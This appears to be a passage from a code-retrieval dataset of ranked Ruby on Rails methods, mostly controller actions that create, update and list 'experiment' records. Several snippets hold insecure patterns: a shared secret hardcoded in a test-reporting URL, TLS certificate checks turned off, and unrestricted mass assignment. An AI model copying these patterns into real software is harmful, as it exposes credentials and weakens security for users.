"def create\n @experiment = Experiment.new(experiment_params)\n\n if @experiment.save\n redirect_to @experiment, notice: 'Experiment was successfully created.'\n else\n redirect_to experiments_path, notice: 'Experiment could not be created.'\n end\n end", "title": "" }, { "docid": "cf626b9a8467286f80b48216966b2cf3", "score": "0.53170615", "text": "def run\n\n #@experiment = Hash.from_xml( xml )['request']\n \n #non_coherent_nodes = get_non_coherent_nodes(@functionalities)\n #if non_coherent_nodes.empty?\n # print xml#return xml\n #end\n #n1 = non_coherent_nodes.second\n\n #print @functionalities.size\n #print \"\\n\\n\"\n #array = n1[:missing]==\"child\" ? possible_children(n1[:element], @functionalities) : possible_parents(n1[:element], @functionalities)\n #array.each do |k|\n # print \"\\n#{k[:parent][\"id\"]} -> #{k[:child][\"id\"]} \\n\\n\"\n #end\n #@functionalities = Hash.from_xml( xml )['request']['functionalities']['functionality']\n print(params[:sla].inspect)\n @functionalities = Hash.from_xml(params[:sla])['functionalities']['functionality'].to_a\n print @functionalities.inspect\n @new_functionalities = concepts_similarity_algorithm( @functionalities )\n \n render 'show_functionalities.xml.erb', :layout => false\n \nend", "title": "" }, { "docid": "33fee18cd8c49940502b0ac836386931", "score": "0.5298666", "text": "def index\n set_experiments \n end", "title": "" }, { "docid": "b1c613b0dce1c1f00d2b2712b7f1a1ef", "score": "0.5278032", "text": "def create\n #@experiment = Experiment.new(params[:experiment])\n \n if(params[:experiment_id])\n @tmp_exp = Experiment.find(params[:experiment_id])\n @experiment = Experiment.new({user_id: @cur_user.id, title:\"#{@tmp_exp.title} (clone)\", content: @tmp_exp.content, filter: @tmp_exp.filter, cloned_from:@tmp_exp.id})\n success = @experiment.save\n @tmp_exp.fields.all.each do |f|\n Field.create({experiment_id:@experiment.id, field_type: f.field_type, name: f.name, unit: f.unit})\n end\n else\n @experiment = Experiment.new({user_id: @cur_user.id, title:\"#{@cur_user.firstname} #{@cur_user.lastname[0].pluralize} Experiment\"})\n success = @experiment.save\n end\n\n respond_to do |format|\n if success\n format.html { redirect_to @experiment, notice: 'Experiment was successfully created.' }\n format.json { render json: @experiment, status: :created, location: @experiment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b79e0ffcfbcffdb183b02f5d132ada4", "score": "0.5275952", "text": "def experiment_params\n params[:experiment].permit( Experiment.new.attributes.keys )\n end", "title": "" }, { "docid": "6ef830c41a849e956a4b59c2e70e3444", "score": "0.5269731", "text": "def create\n @ezii_robot_experiment = EziiRobotExperiment.new(ezii_robot_experiment_params)\n\n respond_to do |format|\n if @ezii_robot_experiment.save\n format.html { redirect_to @ezii_robot_experiment, notice: 'Ezii robot experiment was successfully created.' }\n format.json { render :show, status: :created, location: @ezii_robot_experiment }\n else\n format.html { render :new }\n format.json { render json: @ezii_robot_experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72064a4337b6f07b29aacc08458baeb4", "score": "0.5252014", "text": "def experiment_params\n params.require(:experiment).permit(:variety, :tissue, :age, :stress, :accession)\n end", "title": "" }, { "docid": "b7dc2a079f94aaa4ee92089f37604e34", "score": "0.52474713", "text": "def update\n @experiment = @project.experiments.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n flash[:notice] = 'Experiment was successfully updated.'\n format.html { redirect_to([@project,@experiment]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b3d6b6e0d869149d5e6c93ed2d87e13", "score": "0.5219424", "text": "def create\n\n @experiment = Experiment.new(params[:experiment])\n @experiment.user_id = current_user.id\n\n respond_to do |format|\n if @experiment.save\n format.html { redirect_to(@experiment, :notice => 'Experiment was successfully created.') }\n format.xml { render :xml => @experiment, :status => :created, :location => @experiment }\n format.csv { render :csv => @experiment, :status => :created, :location => @experiment }\n format.json { render :json => @experiment, :status => :created, :location => @experiment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @experiment.errors, :status => :unprocessable_entity }\n format.json { render :json => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf819307062cd168390ad69c2e8eea55", "score": "0.5205991", "text": "def create\n @experiment = experiment_type_class.new(experiment_params)\n\n respond_to do |format|\n if @experiment.save\n format.html { redirect_to sti_experiment_path(@project.id, @phase.id, @experiment.type, @experiment), notice: 'Experiment was successfully created.' }\n format.json { render :show, status: :created, location: @experiment }\n else\n format.html { render :new }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31bbb1ec145daa5342d44c9fb0af6b81", "score": "0.51658094", "text": "def index\n @experiments = Experiment.all\n end", "title": "" }, { "docid": "f7f2f76501577954f60ca135053fdd7d", "score": "0.5147152", "text": "def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end", "title": "" }, { "docid": "01f5f260c05f138a161dfb43f9c474ca", "score": "0.5123063", "text": "def create\n @experiment = Experiment.new(params[:experiment])\n authorize! :manage, @experiments\n data_file = \"#{Rails.root.to_s}/public/SAX_DATA/#{@experiment.data_directory}/summary.txt\" \n @experiment.id = nil\n\n #\n if !@experiment.structural_model.nil?\n @experiment.structural_model.data_directory = @experiment.data_directory \n @experiment.structural_model.force_create = true \n end\n\n if !@experiment.ensemble.nil?\n submission = Submission.find_by_data_directory(@experiment.data_directory)\n ensemble_directory = Rails.root.join(\"public\",\"SAX_DATA\", @experiment.data_directory, \"ensemble\") \n @experiment.ensemble.data_directory = ensemble_directory\n #\n # open ensemble directory and grab all *.pdb files\n #\n @experiment.ensemble.diagnostic_file_name = submission.diagnostic_file_name\n @experiment.ensemble.diagnostic_file_size = submission.diagnostic_file_size\n @experiment.ensemble.diagnostic_content_type = submission.diagnostic_content_type \n# @diag_extension = @submission.diagnostic_content_type.split(/\\//)[1]\n\n @extension = !(@experiment.ensemble.diagnostic_content_type.nil?) ? @experiment.ensemble.diagnostic_content_type.split(/\\//)[1] : nil \n\n @pdbs = Array.new\n @pdbs = Dir.glob(\"#{ensemble_directory}/*.pdb\") \n end \n if !@experiment.no_model.nil?\n @experiment.no_model.data_directory = @experiment.data_directory \n end\n if !@experiment.dammin_result.nil?\n @experiment.dammin_result.data_directory = @experiment.data_directory \n end \n if !@experiment.gasbor_results.empty?\n @experiment.gasbor_results[0].data_directory = @experiment.data_directory \n end \n \n respond_to do |format|\n if @experiment.save\n write_experiment(@experiment, @experiment.data_directory)\n # remove from submissions\n format.html { redirect_to :action=> 'admin_list', :notice => 'Experiment was successfully created.' }\n else \n \n flash[:notice] = @experiment.errors.inspect\n #@experiment.id = Experiment.find(:first, :order => \"id DESC\").id + 1 \n format.html { redirect_to approve_experiments_path(:id => @experiment.data_directory) } \n end\n end\n \n end", "title": "" }, { "docid": "c6c7813f212bde52d951fc307991f1b0", "score": "0.5118198", "text": "def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to(experiments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c6c7813f212bde52d951fc307991f1b0", "score": "0.5118198", "text": "def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to(experiments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "572dc62a188365361ba0f08b057b89cb", "score": "0.50292474", "text": "def create_custom_points_experiment\n validate(\n simulation_id: :security_default\n )\n\n experiment = ExperimentFactory.create_custom_points_experiment(current_user.id, @simulation)\n experiment.save\n\n {\n status: :ok,\n json: {status: 'ok', experiment_id: experiment.id.to_s},\n experiment: experiment\n }\n end", "title": "" }, { "docid": "731904651fdc6264bd0b05706a5888cc", "score": "0.5028282", "text": "def destroy\n set_experiments\n @experiment.destroy\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8aed64d4d3ad2500fbfbdd998c5e8d9d", "score": "0.5019921", "text": "def show\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "title": "" }, { "docid": "730267c37e9af04a03953e3a0712bf50", "score": "0.5013294", "text": "def create\n @experiment = Experiment.new(params[:experiment])\n @experiment.user = current_user\n @experiment.visibility = params[:experiment][:visibility] == 1 ? :public : :private\n\n respond_to do |format|\n if @experiment.save\n format.html { redirect_to @experiment, notice: 'Experiments was successfully created.' }\n #format.json { render json: @experiment, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n #format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71124c9932f639f8459194e0289b6563", "score": "0.49943718", "text": "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n format.csv { render :csv => @experiment }\n format.json { render :json => @experiment }\n end\n end", "title": "" }, { "docid": "2394b79f5bffb803e8579dc22eede2af", "score": "0.49482498", "text": "def posttestrail(runId, caseId, statusId, versionId, elapsedseconds)\r\n\r\n uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=#{runId}&case_id=#{caseId}&status_id=#{statusId}&version=#{versionId}&elapsed_seconds=#{elapsedseconds}&sharedSecret=thI5iSourSHAREDsecret\"\r\n #uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=110324&case_id=665022&status_id=1&version=Test&elapsed_seconds=12&sharedSecret=thI5iSourSHAREDsecret\"\r\n\r\n uri = uri.gsub(\" \", \"%20\")\r\n xml_data = open(uri).read\r\n if(xml_data.include? '\"test_id\":')\r\n recorded = xml_data.split('\"test_id\":')[1]\r\n testID = recorded.split(',\"status_id\"')[0]\r\n puts \"TestID:\"+testID\r\n else\r\n puts xml_data\r\n fail \"Cannot Post result to Testrail, check Webservice\"\r\n end\r\n\r\n timeStamp = Time.now.strftime (\"posted at %H:%M %d/%m/%Y\")\r\n files = \"//zgbwcfs3005.jupiter.bbc.co.uk/QA/Jenkins/Jupiter/ICETEAresultupdatelog.txt\"\r\n f = File.open(files,'a')\r\n f.write \"#{testID} #{timeStamp}\"\r\n f.close\r\nend", "title": "" }, { "docid": "259d00c51246f3ae6a5e40576da12d5b", "score": "0.49210942", "text": "def index\n #@experiments = Experiment.all\n @experiments = Experiment.paginate :per_page => 5, :page => params[:page], :order => \"id DESC\", :conditions => ['status=1']\n @datasets=[]\n @experiments.each do |exp|\n @datasets << createThumbJSON(Rails.root.join(\"public\",\"SAX_DATA\", exp.data_directory, \"iofq_data_file.dat\")) \n end\n \n respond_to do |format|\n format.html { render :action => \"list\"} # index.html.erb\n format.xml { render :xml => @experiments }\n end\n end", "title": "" }, { "docid": "f0d3495b0c520412160e7666532b3f33", "score": "0.49107042", "text": "def new\n @experiment = Experiment.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @experiment }\n end\n end", "title": "" }, { "docid": "88af2046ba42e414e03f527c8d7b7bfe", "score": "0.49018332", "text": "def post_outcome_request\n raise IMS::LTI::InvalidLTIConfigError, \"\" unless has_required_attributes?\n\n res = post_service_request(@lis_outcome_service_url,\n 'application/xml',\n generate_request_xml)\n\n @outcome_response = extend_outcome_response(OutcomeResponse.new)\n @outcome_response.process_post_response(res)\n end", "title": "" }, { "docid": "0f57b128b52bec14ca0a7d193e6bba54", "score": "0.49015254", "text": "def ci_experiment_params\n params.require(:ci_experiment).permit(:game, :alpha, :delta, :step_size, :aggregate_level, :wait_length, :max_step, :data)\n end", "title": "" }, { "docid": "94b284ad28fcf15686025dde8e75c705", "score": "0.49011227", "text": "def update\n @experiment = Experiment.find(params[:id])\n @title = \"Microarray experiments\"\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to(@experiment, :notice => 'Microarray experiment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b6c6d10a4d48b619febf6622743e195", "score": "0.48997304", "text": "def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end", "title": "" }, { "docid": "93f5cd86276ac82fd4b856b212885a52", "score": "0.48954287", "text": "def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end", "title": "" }, { "docid": "c73a4cb94744bc388bf1c863427a1555", "score": "0.48947254", "text": "def index\n @experiments = Experiment.where(:user_id => current_user.id)\n page_group(current_user.group)\n page_title(\"Experiments\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @experiments }\n end\n end", "title": "" }, { "docid": "88dc96d4b44e2837e8010225c88a7094", "score": "0.48877758", "text": "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @experiment }\n end\n end", "title": "" }, { "docid": "88dc96d4b44e2837e8010225c88a7094", "score": "0.48877758", "text": "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @experiment }\n end\n end", "title": "" }, { "docid": "922067e456d3b898b2f640e90677079b", "score": "0.4873978", "text": "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @experiment }\n end\n end", "title": "" }, { "docid": "090d38bfa62c4c102b355e5577f919ce", "score": "0.48633823", "text": "def create\n @experience = Experience.new(experience_params)\n byebug\n respond_to do |format|\n if @experience.save\n create_occurences\n format.html { redirect_to @experience, notice: 'Experience was successfully created.' }\n format.json { render :show, status: :created, location: @experience }\n else\n format.html { render :new }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df263b6685fc5a16c148d553da2e16a3", "score": "0.48607185", "text": "def index\n @experiments = Experiment.where(pend_status: [0])\n @experiments_wait = Experiment.where(pend_status: [1])\n end", "title": "" }, { "docid": "671d481054f3f8321bab1e25084d6898", "score": "0.48581818", "text": "def experiment_params\n case experiment_type\n when 'ProblemExperiment'\n params.require(experiment_type.underscore.to_sym).permit(\n :project_id,\n :phase_id,\n :type,\n :name, :description, :completed, :status,\n {hypothesis_ids: []},\n {results_attributes: [:id, :validation_level, :pain_level, :priority, :comment]},\n :interviews_planned,\n :interviews_done,\n \n :today_solution\n )\n when 'SolutionExperiment'\n params.require(experiment_type.underscore.to_sym).permit(\n :project_id,\n :phase_id,\n :type,\n :name, :description, :completed, :status,\n {hypothesis_ids: []},\n {results_attributes: [:id, :validation_level, :pain_level, :priority, :comment]},\n :interviews_planned,\n :interviews_done,\n\n :price_proposed,\n :price_acceptance,\n :price_revised\n )\n when 'ProductExperiment'\n params.require(experiment_type.underscore.to_sym).permit(\n :project_id,\n :phase_id,\n :type,\n :name, :description, :completed, :status,\n {hypothesis_ids: []},\n {results_attributes: [:id, :validation_level, :pain_level, :priority, :comment]},\n :interviews_planned,\n :interviews_done,\n\n :sean_ellis_test\n )\n when 'CustomerExperiment'\n params.require(experiment_type.underscore.to_sym).permit(\n :project_id,\n :phase_id,\n :type,\n :name, :description, :completed, :status,\n {hypothesis_ids: []},\n {results_attributes: [:id, :validation_level, :pain_level, :priority, :comment]},\n :interviews_planned,\n :interviews_done,\n\n :early_adopters_planned,\n :early_adopters_converted\n )\n end\n\n end", "title": "" }, { "docid": "faf9e87b90036d2cde92227ff5d4e0e8", "score": "0.4856142", "text": "def create\n @ci_experiment = CiExperiment.new(ci_experiment_params)\n\n respond_to do |format|\n if @ci_experiment.save\n format.html { redirect_to @ci_experiment, notice: 'Ci experiment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ci_experiment }\n else\n format.html { render action: 'new' }\n format.json { render json: @ci_experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b55f4fd850a3a971e2fb5a73d17ec429", "score": "0.4854828", "text": "def index\n @solutions = Solution.all\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @solutions }\n end\n end", "title": "" }, { "docid": "9cf96f38dc025371acec30fef5762fc2", "score": "0.4841681", "text": "def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end", "title": "" }, { "docid": "2c99dd028dca0853ef967d5330715078", "score": "0.48235857", "text": "def fetch_experiments(page)\n puts page\n url = @base + \"/api/v1/experiments.json?token=#{@token}&page=#{page}\"\n response = JSON.parse(RestClient.get(url))\nend", "title": "" }, { "docid": "6692eb2b643d12242559d8c54ff3641d", "score": "0.48006448", "text": "def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend", "title": "" }, { "docid": "cdbce30c77e0a7375629e1c9eb689fbc", "score": "0.47934312", "text": "def post_report dep_name, user, vars, log\n require 'net/http'\n require 'uri'\n\n returning(Net::HTTP.post_form(\n URI.parse('http://gist.github.com/api/v1/xml/new'),\n {\n \"files[from]\" => user,\n \"files[vars.yml]\" => vars,\n \"files[#{dep_name}.log]\" => log.decolorize\n }\n )) do |response|\n report_report_result dep_name, response\n end.is_a? Net::HTTPSuccess\n end", "title": "" }, { "docid": "0215f7f0b2287afd4b647b360b4d7198", "score": "0.47924703", "text": "def create\n @experiment_software = ExperimentSoftware.new(params[:experiment_software])\n\n respond_to do |format|\n if @experiment_software.save\n format.html { redirect_to @experiment_software, :notice => 'Experiment software was successfully created.' }\n format.json { render :json => @experiment_software, :status => :created, :location => @experiment_software }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @experiment_software.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce402cf59be22c6cf598b332936af383", "score": "0.47892576", "text": "def conduct_experiment\n @simulation = Simulation.find_by_id(params[:simulation_id].to_s)\n @simulation_input = @simulation.input_specification\n end", "title": "" }, { "docid": "fe1b3168a0f487b2b79938e5c55167fe", "score": "0.4783389", "text": "def sprint_params\n params.require(:sprint).permit(:name, :start_date, :end_date, :completed, :project_id, :phase_id, :est_points, :things_done, :things_learned, :act_points, :impediment, :retro_actions, :avg_happy, :on_target, :organization_helping, :able_to_pull_of, :impediment, experiment_ids:[], experiments_attributes: [:id, :act_succes_metric_1, :act_succes_metric_2, :act_succes_metric_3, :act_succes_metric_4, :act_succes_metric_5])\n end", "title": "" }, { "docid": "50bcaaa367d95e8b4c3f8f3287dbd015", "score": "0.4778203", "text": "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "title": "" }, { "docid": "6e3f4bbc88c00a5ce40c0411d04ae44c", "score": "0.47741643", "text": "def create\n respond_to do |format|\n format.html do\n @xml_sample = XmlSample.new(params[:xml_sample])\n if @xml_sample.save\n redirect_to @xml_sample, notice: 'Xml sample was successfully created.'\n else\n render action: \"new\"\n end\n end\n format.xml do\n rexml = REXML::Document.new(params[\"xml\"])\n attr = Hash.from_xml(rexml.to_s)\n @xml_sample = XmlSample.new(attr[\"xmlsample\"])\n if @xml_sample.save\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n else\n xml = {msg: \"failed\", status: \"NG\"}.to_xml\n end\n return render xml: xml\n end\n end\n end", "title": "" }, { "docid": "074b653e4c44fd4ff9288f0afed94153", "score": "0.47608033", "text": "def demographics\n @t = Task.find(params[:id])\n #need to make sure to indicate a certain worker has seen the experiment before\n if SawExperiment.find_by_task_id_and_mturk_worker_id(@t.id, params[:workerId]).nil?\n SawExperiment.create(:task_id => @t.id, :mturk_worker_id => params[:workerId])\n end\n if request.post? \n Demographic.create(params[:demographic].merge(:mturk_worker_id => params[:workerId]))\n redirect_to :action => :index, :id => @t.id, :assignmentId => params[:assignmentId], :workerId => params[:workerId]\n end\n end", "title": "" }, { "docid": "f6cc26910819bd4b10ebb6bf5abda429", "score": "0.4760788", "text": "def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "title": "" }, { "docid": "295f048b4112254952f51c962324a4d2", "score": "0.47604322", "text": "def execute()\n # If we are using the simple review request configuration\n if @configurations['configuration_type'] == 'Simple'\n # Encode the csrv, this will ensure that any '#' characters in the\n # InstanceId are escaped.\n csrv = encode_url_parameter(@parameters['csrv'])\n # Concatenate the application path, review request Servlet path, and the\n # encoded InstanceId of the desired submission\n url = \"#{@configurations['application_path']}ReviewRequest?csrv=#{csrv}\"\n # If we are using the advanced review request configuration\n else\n # Build up the HTTP parameter name/value pair Strings\n parameter_strings = @parameters.collect {|name, value|\n # Each parameter pair String maps the parameter to the encoded parameter\n # value. It is important to encode the value so that special characters\n # (such as '#' or '&') don't modify the intended meaning of the URL.\n \"#{name}=#{encode_url_parameter(value)}\" unless value.nil?\n }.compact\n\n # Build up the URL\n url = \"#{@configurations['application_path']}ReviewRequest?#{parameter_strings.join('&')}\"\n end\n\n # Return the results String\n <<-RESULTS\n <results>\n <result name=\"URL\">#{escape(url)}</result>\n </results>\n RESULTS\n end", "title": "" }, { "docid": "8099233c97f466bbf874a909db4a1373", "score": "0.4758881", "text": "def experiment_params\n params.require(:experiment).permit(:name, :user_id,:custom_field_1_name,:custom_field_2_name,:custom_field_3_name)\n end", "title": "" }, { "docid": "d7047dcb40925dc7ed5a164e3b80826b", "score": "0.4743945", "text": "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "title": "" }, { "docid": "b39fca76052091c6f944a90a331d2a1e", "score": "0.4737192", "text": "def new\n page_title(\"New Experiment\")\n \n @experiment = Experiment.new\n page_group(current_user.group)\n \n @calendars = self.calendars_select_array()\n @locations = self.locations_select_array()\n self.use_markdown_editor = true\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "title": "" }, { "docid": "945ad21fbd8e8abab7eec8ee0eb1ba0c", "score": "0.4722307", "text": "def expose(xml, tickets)\n seen = []\n Kernel.loop do\n puzzles = xml.xpath(\n [\n '//puzzle[@alive=\"false\" and issue',\n 'and issue != \"unknown\" and not(issue/@closed)',\n seen.map { |i| \"and id != '#{i}'\" }.join(' '),\n ']'\n ].join(' ')\n )\n break if puzzles.empty?\n puzzle = puzzles[0]\n puzzle.search('issue')[0]['closed'] = Time.now.iso8601 if tickets.close(puzzle)\n save(xml)\n end\n seen = []\n Kernel.loop do\n puzzles = xml.xpath(\n [\n '//puzzle[@alive=\"true\" and (not(issue) or issue=\"unknown\")',\n seen.map { |i| \"and id != '#{i}'\" }.join(' '),\n ']'\n ].join(' ')\n )\n break if puzzles.empty?\n puzzle = puzzles[0]\n id = puzzle.xpath('id')[0].text\n seen << id\n issue = tickets.submit(puzzle)\n next if issue.nil?\n puzzle.search('issue').remove\n puzzle.add_child(\n \"<issue href='#{issue[:href]}'>#{issue[:number]}</issue>\"\n )\n save(xml)\n end\n end", "title": "" }, { "docid": "2515daf5cd259363a9c15227ae149c22", "score": "0.47212392", "text": "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "title": "" }, { "docid": "2515daf5cd259363a9c15227ae149c22", "score": "0.47207248", "text": "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "title": "" }, { "docid": "cf117eb4520f5b5fc0465979e4d0d34e", "score": "0.47151867", "text": "def submit_report(json, cookbookname)\n data = File.read(json)\n uri = URI.parse($SPEC_ENDPOINT)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == \"https\"\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(\"/api/reports\")\n request.add_field('Content-Type', 'application/json')\n request.body = {\n :spec_result => data,\n :hostname => `hostname`.chomp,\n :cookbook_name => cookbookname\n }.to_json\n response = http.request(request)\n end", "title": "" }, { "docid": "3c385fe73bd36602a59bcd2177d4e807", "score": "0.47136945", "text": "def index\n @ezii_robot_experiments = EziiRobotExperiment.all\n end", "title": "" }, { "docid": "bc54947c0f971778676094d6c61d02ee", "score": "0.4694707", "text": "def permitted_params\n params.permit(:id, experiment: [:image, :name, :description, :contact, :home_url, :issues_url, :source_url, :download_url, :documentation_url, :meta_keywords, :meta_description])\n end", "title": "" }, { "docid": "f8ffd70545da5160dbd751e4b545bdbc", "score": "0.4673089", "text": "def create_intest\n oldsub = @problem.submissions.where(user_id: current_user.sk.id, intest: true).first\n if !oldsub.nil?\n @submission = oldsub\n @context = 1\n update_submission\n return\n end\n params[:submission][:content].strip! if !params[:submission][:content].nil?\n \n # Attached files\n @error_message = \"\"\n attach = create_files\n if !@error_message.empty?\n flash[:danger] = @error_message\n session[:ancientexte] = params[:submission][:content]\n redirect_to virtualtest_path(@t, :p => @problem.id) and return\n end\n\n submission = @problem.submissions.build(content: params[:submission][:content])\n submission.user = current_user.sk\n submission.intest = true\n submission.visible = false\n submission.last_comment_time = DateTime.now\n\n if submission.save\n attach_files(attach, submission)\n flash[:success] = \"Votre solution a bien été enregistrée.\"\n redirect_to virtualtest_path(@t, :p => @problem.id)\n else\n destroy_files(attach)\n session[:ancientexte] = params[:submission][:content]\n flash[:danger] = error_list_for(submission)\n redirect_to virtualtest_path(@t, :p => @problem.id)\n end\n end", "title": "" }, { "docid": "6a1743aa09040df80b3876a30a225676", "score": "0.46722513", "text": "def ezii_robot_experiment_params\n params.fetch(:ezii_robot_experiment, {})\n end", "title": "" }, { "docid": "74e67bcc23295798f2f58cb8120241d3", "score": "0.46679088", "text": "def exercise_params\n params.require(:exercise).permit(:name, :question, :feedback,\n :experience, :id, :is_public, :priority, :question_type,\n :exercise_version, :exercise_version_id, :commit,\n :mcq_allow_multiple, :mcq_is_scrambled, :languages, :styles,\n :tag_ids)\n end", "title": "" }, { "docid": "fcab0fd13c75e36fdfe5e4e939f701d4", "score": 